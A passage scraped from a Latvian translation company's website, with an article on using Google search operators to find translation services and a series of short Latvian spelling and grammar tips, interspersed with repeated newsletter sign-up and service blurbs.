tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Ieskaties un uzzini noderīgus padomus kādus atslēgasvārdus izmantot, lai ātri un efektīvu meklētājā atrastu vajadzīgo informāciju! - Published: 2019-07-19 - Modified: 2022-10-26 - URL: https://skrivanek.lv/pareizi-atslegvardi-atslega-uz-izdosanos/ - Kategorijas: Raksti - Translation Priorities: Optional PAREIZI ATSLĒGVĀRDI – ATSLĒGA UZ IZDOŠANOS Lai arī varētu šķist, ka mūsdienās internetā visu var atrast, vien veicot pāris klikšķus ar peli, tomēr bieži vien cilvēki pieļauj pavisam triviālas kļūdas, tā krietni paildzinot ceļu līdz vēlamajam rezultātam. Tas attiecas arī uz situācijām, kad tīmeklī tiek meklēti tulkošanas pakalpojumi, – bieži vien vārdi tiek rakstīti kļūdaini, tiek izvēlētas dīvainas frāžu konstrukcijas. Nereti cilvēks, kuram ir nepieciešami tulka vai tulkotāja pakalpojumi, pie tiem nenonāk, jo vienkārši nezina dažas pamata patiesības par meklēšanu internetā. Tāpēc ir vērts uzzināt, kā pareizi izmantot “Google” meklētāju un gūt vislielāko labumu no mūsdienu tehnoloģiju un mākslīgā intelekta sniegtajām iespējām. KĀ MEKLĒTĀJĀ ĀTRI ATRAST TULKOŠANAS PAKALPOJUMUS Nenoliedzami, mēs visi vēlamies, lai laiks, ko pavadām, meklējot nepieciešamo informāciju internetā, būtu pēc iespējas īsāks, tāpēc ir ieteicams apgūt iemaņas, kas ļautu pēc iespējas produktīvāk atrast vajadzīgo. Vai jums kādreiz ir nācies justies aizkaitinātam, jo nespējat atrast internetā to, kas ir vajadzīgs? Jūsu mērķis ir pats labākais tulkošanas birojs, kas spētu ne tikai tulkot no angļu valodas latviešu valodā, bet, ja nepieciešams, palīdzētu sagatavot dažādus dokumentus, piemēram, apostille (bieži meklē arī kā “apostile”), vai arī, lai pakalpojumu klāstā būtu notariāli apliecināts tulkojums, taču viss, ko atrodat, ir tikai dažādi tulkošanas rīki, turklāt ne pārāk uzticami? Ir pienācis laiks meklēt pareizi! Bieži vien aizkaitinājums rodas, jo tiek pieļautas mazas, taču kaitnieciskas kļūdas, kas padara meklēšanu mazefektīvu. Tāpēc aicinām iepazīties ar izplatītākajām kļūdām, ko pieļauj cilvēki, kuri sāk apgūt interneta meklētāju iespējas. Apzinoties, ka šīs kļūdas novērst ir ļoti viegli, daudz vienkāršāk spēsiet atrast internetā nepieciešamo – vai tas būtu tulkojums zinātniskam darbam, vai arī tulkotāja pakalpojumi ikdienišķās situācijās. Tā, piemēram, ja vēlaties atrast biroju, kas nodrošina juridiski saistošus tulkojumus, ņemiet vērā – pareizi tos sauc par notariāli apliecinātiem tulkojumiem. Lai atrastu šo pakalpojumu, cilvēki parasti lieto internetā dažādus atslēgvārdus – “notariāli apstiprināts tulkojums” “zvērināts tulks Rīgā, Dobelē vai Jelgavā”, “zvērināts tulkotājs”, “zvērināts tulkojums”, “zvērināts tulkojums cenas” u. tml. Svarīgi ir ņemt vērā, ka Latvijā nav zvērināta tulka un tulkotāja institūta un būtībā visi šie meklējumi ir pēc notariāli apliecināta tulkojuma. KĀ MEKLĒTĀJĀ ĒRTI ATLASĪT VAJADZĪGOS TULKOŠANAS PAKALPOJUMUS Lai vieglāk atlasītu nepieciešamos rezultātus, viens no ieteicamajiem paņēmieniem ir defises izmantošana. Izmantojot defisi (jeb mīnusa zīmi “-”), jūs varat izslēgt no rezultātiem nevēlamu informāciju. Tā, piemēram, ja jūsu meklētais objekts ir angļu valodas tulks, bet jums noteikti nevajag krievu vai vācu valodas tulku, meklētājā varat rakstīt: angļu valodas tulks -krievu -vācu. Ja jums ir jāiztulko raksts vai grāmata, vienkārši jāiztulko teksts, jums būs nepieciešams tulkotājs. Savukārt tulks būs nepieciešams, ja uzņemat ārvalstu viesus, kuru teiktais ir jāpārtulko sarunas formātā. Tātad, ja jums ir jāiztulko raksts no angļu valodas, meklētājā rakstiet: angļu valodas tulkotājs -tulks. Vēl viens paņēmiens, kā precīzi atlasīt rezultātus, īpaši, ja meklējat vairāku vārdu kombināciju, ir ievietot to pēdiņās. Te gan lieti derētu ievērot pareizrakstību, jo “Google” mākslīgais intelekts nereti ir ļoti kaprīzs attiecībā uz valodas kļūdām. Kā rāda tulkošanas biroja “Skrivanek Baltic” apkopotā informācija, bieži vien, meklējot tulkošanas pakalpojumus internetā, vārdi tiek uzrakstīti pavirši, steigā un nepareizi. Tā, piemēram, meklējot tulkotāju, tiek lietoti atslēgvārdi “tulkotajs”, “tukotajs”, arī “tulkot’ajs” vai “tulkotais”. Tāpat nereti tiek veidotas pavisam interesantas vārdu kombinācijas: “latviešu krievu tulkotājs” vai “tulkotājs vācu latviešu”. Bieži vien arī diakritiskās zīmes tiek ignorētas apzināti, kas tomēr mazina meklēšanas algoritma atlasīto rezultātu skaitu un arī kvalitāti, piemēram, “anglu latviesu tulkotajs” vai “anglu tulks”. Taču, ja vēlaties atrast biroju, kur strādā labākie tulki un tulkotāji, kā arī citi valodas speciālisti, ir vērts papūlēties, lai iegūtu labāku rezultātu, – rakstīt vārdus ar diakritiskajām zīmēm. Protams, cilvēks intuitīvi sapratīs, ja rakstīsiet “tulkojumi riga”, taču vismaz pagaidām mākslīgajam intelektam šādas intuīcijas nav. Tātad, ja jums ir jāatrod tulkošanas birojs, kurā strādā cilvēki ar plašām zināšanām zemkopībā, mežkopībā vai lauksaimniecībā, meklētājā rakstiet: “Tulkošana un citi valodu pakalpojumi lauksaimniecības un mežkopības nozarei”. KĀ MEKLĒT TULKOŠANAS PAKALPOJUMUS DETALIZĒTI Ja jau esat nolūkojis tulkošanas biroju, kā arī zināt, kāds pakalpojums ir nepieciešams, ar “Google” meklētāja palīdzību varēsiet viegli atrast nepieciešamo tieši lapā. Piemēram, “Skrivanek Baltic” piedāvā plašu ekspertu klāstu visdažādākajās nozarēs – mašīnbūvē, apdrošināšanā, būvniecībā u. c. . Tas ir tikai likumsakarīgi – lai sasniegtu vēlamo rezultātu, jums ir nepieciešams partneris, kurš pārzina nozares specifiku un terminoloģiju, orientējas visdažādākajās niansēs, kuras ir jāpārzina, jo tulks un tulkotājs bieži vien ir tiešais starpnieks dažādu biznesa darījumu veikšanā. Lūk, un ja jums ir jāatrod labs tulks, kura specializācija ir reklāma un mārketings, meklētājā rakstiet: reklāma un mārketings site:skrivanek. lv. Bieži vien var gadīties, ka vienlaicīgi meklējat divas līdzvērtīgas lietas vai pakalpojumus, īpaši, ja vēl neesat iepazinies ar tirgus situāciju un piedāvājumu. Tā, piemēram, ja meklējat uzticamu tulkošanas biroju, kas spēs nodrošināt tulkojumus no dažādām svešvalodām, neatkarīgi no tā, vai tā ir vācu valoda vai krievu valoda, atkal lieti noderēs “Google” meklētājs. Šajā gadījumā meklētājā izmantojiet vārdu “OR” (“vai” – angļu val. ). Meklētājā varat rakstīt šādi: vācu valoda OR krievu valoda Rīgā. Vēl lieliskas iespējas slēpj meklētāja cilne “Tools” – tur varat grupēt rezultātus pēc to publicēšanas laika, kā arī pēc atbilstības. Tas ļaus viegli atsijāt aktuālo informāciju no jau novecojušas. Piemēram, ja jums ir aktuāli tulkošanas pakalpojumi, taču vēlaties ātri atrast biroju, kas piedāvā aktuālāko tulkošanas jomā, jums lieti noderēs “Tools” piedāvātās iespējas. Meklētājā ierakstiet, piemēram, “tulkošanas pakalpojumi”, un sadaļā “Tools” izvēlieties jūs interesējošo laika periodu, piemēram, gadu. Tā noteikti varēsiet atrast tulkošanas biroju, kas ir aktualizējis savu darbību pēdējā laikā, un iepazīties ar tā sniegtajiem pakalpojumiem, kas ir pieejami tieši tagad. TULKOŠANAS PAKALPOJUMU ATLASĪŠANAI NODERĪGI MEKLĒŠANAS INSTRUMENTI Lielisks paņēmiens, lai atlasītu vēlamo informāciju, ir meklēšana pēc virsraksta. Tas lieti atvieglo dzīvi, ja vēlaties atrast informāciju, kas attiecas tieši uz meklējamajiem vārdiem, nevis tie ir nejauši izkaisīti tekstā, kas var arī neattiekties uz jūsu interesēm. Ja vārdu kopa ir iekļauta virsrakstā, tā visticamāk “vedīs” uz rakstu, kas atbildīs jūsu vajadzībām. Piemēram, ja jums ir nepieciešami mutiskie tulkojumi – specifisks tulkošanas veids, ko nodrošina īpaši mācīti tulki –,varat atrast vislabākos speciālistus, interneta meklētājā rakstot: Intitle:mutiskie tulkojumi. Bieži vien atmiņa mēdz izspēlēt nejaukus trikus, liekot aizmirst vārdus, kas bijuši it kā labi zināmi un ikdienā lietoti. Taču arī par to ir papūlējies gudrais “Google” meklētājs – jebkuru vārdu, kas ir aizmirsies, var aizstāt ar zvaigznīti (“*”), tā ļaujot meklēt arī lietas, kas ir nedaudz aizmirsušās. Piemēram, ja ir aizmirsies, kas nodrošina dokumentu ticamību un patiesumu, un nekādi prātā nenāk vārdu sakopojums “notariāli apliecināti tulkojumi”, var izlīdzēties, meklētājā ierakstot (un gan jau starp rezultātiem tiks parādīts piemirstais vārds): *apliecināti tulkojumi. Šie ir tikai daži ieteikumi, kas palīdzēs un atvieglos dzīvi internetā. Taču, ja tomēr ar meklētāju īsti nevedas, bet ir nepieciešami profesionāli, kvalitatīvi un efektīvi tulkošanas pakalpojumi, vienmēr varat sazināties ar “Skrivanek Baltic” un saņemt personalizētu, tieši jūsu vajadzībām sagatavotu piedāvājumu. Protams, vislabākos rezultātus var panākt, kombinējot vairākus no iepriekš minētajiem ieteikumiem. Ja vēlaties atrast tulkošanas biroju, kura viena no specializācijām ir rakstiskie tulkojumi, turklāt gribat būt pārliecināts, ka informācija ir aktualizēta pēdējā gadā, rakstiet vēlamo rezultātu pēdiņās šādi “rakstiskie tulkojumi” un pie “Tools” atlasiet laika periodu – pēdējā gadā. --- > Mums ir bail lekt vai lēkt ar izpletni? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē - Published: 2019-05-16 - Modified: 2025-03-12 - URL: https://skrivanek.lv/lekt/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional LEKT PRET LĒKT 1 Vai mums ir bail lekt vai lēkt ar izpletni? Darbības vārda „lēkt” locīšana rada šaubas, jo vienkāršās tagadnes formās tajā rakstāms īsais patskanis „e”, proti, „es lecu”, „tu lec”, „saule lec” utt. , savukārt pagātnes un nākotnes formās – garais patskanis „ē”: „es vakar lēcu no galda”, „tu rīt lēksi pāri solam”. Arī nenoteiksmē un daudzos atvasinājums rakstāms garais patskanis „ē”: „lēkt”, „lēciens”, „lēkšana”. Tātad mums var būt bail lēkt ar izpletni. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai sasauksim konsiliju vai konsīliju? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņa, gan sadzīvē. - Published: 2019-05-16 - Modified: 2024-07-16 - URL: https://skrivanek.lv/konsilijs/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional KONSILIJS PRET KONSĪLIJS 1 Vai sasauksim konsiliju vai konsīliju? Ārstu apspriedi, lai galīgi izlemtu, noskaidrotu kādu slimību, tās ārstēšanas paņēmienus, sauc par konsiliju. Vārds aizgūts no latīņu valodas vārda „consilium” un līdzīgi kā citos svešvārdos ar izskaņu „-ilis” vai „-ilijs” pirms līdzskaņa „l” rakstāms īsais patskanis „i”, piemēram, tādos vārdos kā „automobilis” vai „berilijs”. Tātad sasauksim konsiliju. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Slēpošanai noderīgs ir kombinezons vai kombinzons? Uzzini atbildi! Daudzi noderīgi latviešu valodas padomi vienuviet! - Published: 2019-05-16 - Modified: 2024-08-12 - URL: https://skrivanek.lv/kombinezons-pret-kombinzons/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional KOMBINEZONS PRET KOMBINZONS 1 Vai slēpošanai noderīgs ir kombinezons vai kombinzons? Apģērba gabalu, kurā augšdaļa ir savienota ar biksēm, sauc par kombinezonu. Vārds aizgūts no franču valodas vārda „combinaison”. Lai gan runājot līdzskaņi „n” un „z” saplūst, starp tiem atrodas patskanis „e”. Tātad slēpošanai noderēs kombinezons. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Avārija notika sliktā ceļa stāvokļa rezultātā vai sliktā ceļa stāvokļa dēļ? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! - Published: 2019-05-16 - Modified: 2025-01-27 - URL: https://skrivanek.lv/del-pret-rezultata/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional DĒĻ PRET REZULTĀTĀ 1 Avārija notika sliktā ceļa stāvokļa rezultātā vai sliktā ceļa stāvokļa dēļ? Vārds „rezultātā” nozīmē ‘iznākumā, beigās; galu galā’. Savukārt vārds „dēļ” norāda uz cēloni vai iemeslu. Valodas praksē vārds „rezultātā” nereti tiek lietots kontekstā, kurā iederīgs ir „dēļ”, piemēram, nevis „laimīgas sagadīšanās rezultātā Jānis nav cietis”, bet gan „laimīgas sagadīšanās dēļ Jānis nav cietis”, nevis „vētras rezultātā daudzās mājās nav elektrības”, bet „vētras dēļ daudzās mājās nav elektrības”. Tātad teiksim: avārija notika sliktā ceļa stāvokļa dēļ. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai Jānis mocās sirdsapziņas pārmetumos vai Jānis mokās sirdsapziņas pārmetumos? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! - Published: 2019-05-16 - Modified: 2025-03-20 - URL: https://skrivanek.lv/vins-mokas-pret-vins-mocas/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional VIŅŠ MOKĀS PRET VIŅŠ MOCĀS 1 Vai Jānis mocās sirdsapziņas pārmetumos vai Jānis mokās sirdsapziņas pārmetumos? Darbības vārds „mocīties” lokāms tāpat kā darbības vārds „slaucīties”: „es mokos”/„es slaukos”, „tu mokies”/„tu slaukies”, „viņš mokās”/„viņš slaukās” utt. Nereti sastopamās formas „es mocos”, „viņš mocās”, visticamāk, aplami veidotas pēc darbības vārda „mācīties” parauga („es mācos”, „viņš mācās”), kur līdzskanis „c” saknē tiek saglabāts arī tagadnes formās. Tātad Jānis mokās sirdsapziņas pārmetumos. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Mēs aicinam vai aicinām Juri ciemos? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - Published: 2019-05-16 - Modified: 2024-07-11 - URL: https://skrivanek.lv/aicinam/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional AICINAM PRET AICINĀM 1 Vai mēs aicinam vai aicinām Juri ciemos? „Aicināt” ir 3. konjugācijas darbības vārds, kuram nenoteiksmē ir izskaņa „-ināt”. Šādiem darbības vārdiem vienkāršās tagadnes daudzskaitļa 1. personas formā ir galotne „-ām” un 2. personas formā – „-āt”: „mēs aicinām”, „jūs aicināt”. Tātad mēs aicinām Juri ciemos. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai rūpnīcā trūkst darbinieki vai darbinieku? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā komunikācijā, gan sadzīvē. - Published: 2019-05-16 - Modified: 2022-12-27 - URL: https://skrivanek.lv/trukst-darbinieki-pret-trukst-darbinieku/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional TRŪKST DARBINIEKI PRET TRŪKST DARBINIEKU 1 Vai rūpnīcā trūkst darbinieki vai darbinieku? Sarunvalodā nereti sakām: „man trūkst nauda” vai „mums trūkst laiks”. Tomēr pie darbības vārda „trūkt” lietojams lietvārds ģenitīvā: „man trūkst naudas”, „mums trūkst laika”. Tātad rūpnīcā trūkst darbinieku. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Sūdzamies par to, ka mati lūst vai lūzt? Uzzini! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - Published: 2019-05-16 - Modified: 2024-10-21 - URL: https://skrivanek.lv/mati-lust-pret-mati-luzt/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional MATI LŪST VAI MATI LŪZT 1 Vai sūdzamies par to, ka mati lūst vai lūzt? Darbības vārda „lūzt” pareizrakstība bieži sagādā grūtības. Vienkāršās tagadnes 3. personas formās ir rakstāms līdzskanis „s”, nevis „z”: „viņš lūst”, „viņas lūst”. Šī darbības vārda formu rakstību var salīdzināt ar vārda „nirt” rakstību: ja „nirt” formā ir līdzskanis „s”, tad arī „lūzt” attiecīgajā formā rakstāms līdzskanis „s”, piemēram: „viņš nirst”, „viņš lūst”, „mēs nirstam”, „mēs lūstam”. Tātad mati lūst. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai no Lielbritānijas pie mums brauc Džeims vai Džeimss? Uzzini atbildi! Daudzi noderīgi latviešu valodas padomi vienuviet! - Published: 2019-05-16 - Modified: 2022-12-27 - URL: https://skrivanek.lv/dzeims-pret-dzeimss/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional DŽEIMS PRET DŽEIMSS 1 Vai no Lielbritānijas pie mums brauc Džeims vai Džeimss? Angļu valodā rakstīto vīrieša personvārdu James izrunā . Latviešu valodā citvalodu personvārdus raksta atbilstoši izrunai oriģinālvalodā un pievieno arī galotni, tātad pie saknes „Džeims” pievienojama vīriešu dzimtes galotne „-s”: „Džeimss”. Tātad no Lielbritānijas pie mums brauc Džeimss. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS 